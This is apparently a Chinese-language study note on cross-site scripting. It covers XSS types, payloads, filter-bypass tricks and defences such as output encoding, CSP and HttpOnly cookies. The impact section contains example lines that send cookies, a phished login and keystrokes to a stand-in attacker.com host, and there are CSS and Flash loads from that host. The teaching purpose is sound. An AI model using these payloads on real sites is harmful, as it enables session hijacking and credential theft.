记XSS的学习
字数 1889 2025-08-07 08:22:25
XSS攻击全面解析与防御指南
一、XSS攻击概述
XSS(Cross Site Scripting)即跨站脚本攻击,是一种常见的Web安全漏洞。攻击者通过在Web页面中注入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行,从而达到窃取用户信息、会话劫持等恶意目的。
XSS攻击原理
- 攻击者在Web页面中插入恶意脚本代码
- 当其他用户浏览该页面时,恶意脚本在用户浏览器中执行
- 脚本可以访问用户的Cookie、会话令牌等敏感信息
- 脚本可以将窃取的信息发送到攻击者控制的服务器
二、XSS攻击类型
1. 反射型XSS (非持久型)
- 攻击方式:恶意脚本作为请求参数附加在URL中,服务器未过滤直接返回给客户端
- 特点:需要诱骗用户点击特定链接才能触发
- 示例:
http://example.com/search?query=<script>alert('XSS')</script>
2. 存储型XSS (持久型)
- 攻击方式:恶意脚本被存储到服务器数据库中,每次页面加载时都会执行
- 特点:危害更大,影响所有访问页面的用户
- 常见场景:留言板、评论系统、用户资料等可存储数据的地方
3. DOM型XSS
- 攻击方式:完全在客户端执行,不经过服务器
- 原理:通过修改DOM环境在客户端直接执行恶意代码
- 示例:
document.write(location.hash.substring(1));
当URL为http://example.com#<script>alert('XSS')</script>时会触发
三、XSS攻击载荷与绕过技巧
常见XSS攻击向量
<script>alert('XSS')</script>
<a href="javascript:alert('XSS')">点击</a>
<div onmouseover="alert('XSS')">悬停</div>
<svg/onload=alert('XSS')>
编码绕过技巧
- HTML实体编码绕过:
- JavaScript编码:
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
- 大小写混淆:
<ScRiPt>alert('XSS')</ScRiPt>
- 双写绕过:
<scr<script>ipt>alert('XSS')</scr</script>ipt>
- 注释分割:
<scr<!--test-->ipt>alert('XSS')</scr<!--test-->ipt>
四、XSS攻击的危害
- 窃取用户Cookie:获取用户会话信息,实现会话劫持
new Image().src = 'http://attacker.com/steal.php?cookie='+document.cookie;
- 钓鱼攻击:伪造登录表单诱骗用户输入凭证
document.body.innerHTML = '<form action="http://attacker.com/steal.php">用户名:<input name="user"><br>密码:<input name="pass" type="password"><input type="submit"></form>';
- 键盘记录:记录用户的键盘输入
document.onkeypress = function(e) {
new Image().src = 'http://attacker.com/keylogger.php?key='+e.key;
}
-
浏览器漏洞利用:结合浏览器漏洞获取更高权限
-
内网探测:探测内网服务,进行进一步攻击
五、XSS防御措施
1. 输入过滤与验证
- 对用户输入进行严格过滤,移除或转义特殊字符
- 白名单过滤优于黑名单过滤
- 根据上下文采用不同的过滤策略
2. 输出编码
- HTML实体编码:
<→<,>→> - JavaScript编码:使用
\xHH或\uHHHH形式 - URL编码:对URL参数进行编码
- CSS编码:防止CSS表达式中的XSS
3. 使用安全HTTP头
- Content-Security-Policy (CSP):限制脚本来源
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
- X-XSS-Protection:启用浏览器内置XSS过滤器
X-XSS-Protection: 1; mode=block
- HttpOnly Cookie:防止JavaScript访问Cookie
Set-Cookie: sessionid=xxxx; HttpOnly
4. DOM型XSS防御
- 避免使用
innerHTML、document.write等不安全API - 使用
textContent代替innerHTML - 对动态生成的DOM内容进行编码
5. 框架安全实践
- 现代前端框架(React, Vue, Angular)内置XSS防护
- 避免使用
dangerouslySetInnerHTML(React)或v-html(Vue)等危险特性 - 使用模板引擎时启用自动转义功能
六、XSS测试与验证
测试方法
- 手动测试:尝试输入各种XSS向量,观察是否执行
- 自动化扫描:使用工具如Burp Suite、ZAP等进行扫描
- 模糊测试:生成随机输入测试边界情况
测试向量库
- OWASP XSS Filter Evasion Cheat Sheet
- HTML5 Security Cheatsheet
- Browser XSS Filter Bypass List
七、高级XSS技术
1. 基于SVG的XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"/>
2. 基于CSS的XSS
<style>@import 'http://attacker.com/malicious.css';</style>
3. 基于Flash的XSS
<embed src="http://attacker.com/malicious.swf" allowscriptaccess="always">
4. 基于PDF的XSS
PDF文档中可以嵌入JavaScript代码,当用户打开PDF时执行
八、XSS防御最佳实践
- 实施多层防御:不依赖单一防御措施
- 安全编码培训:提高开发人员安全意识
- 定期安全测试:包括代码审计和渗透测试
- 使用安全框架:如OWASP ESAPI、DOMPurify等
- 及时更新补丁:修复已知漏洞
九、XSS漏洞修复示例
修复前(易受攻击)
<?php
$name = $_GET['name'];
echo "Hello, " . $name;
?>
修复后(安全)
<?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Hello, " . $name;
?>
十、总结
XSS攻击是Web应用最常见的安全威胁之一,防御XSS需要开发人员在各个层面采取综合措施。通过输入验证、输出编码、安全HTTP头等多层防护,结合安全开发实践和定期测试,可以有效降低XSS攻击风险。安全是一个持续的过程,需要保持警惕并及时应对新的攻击技术。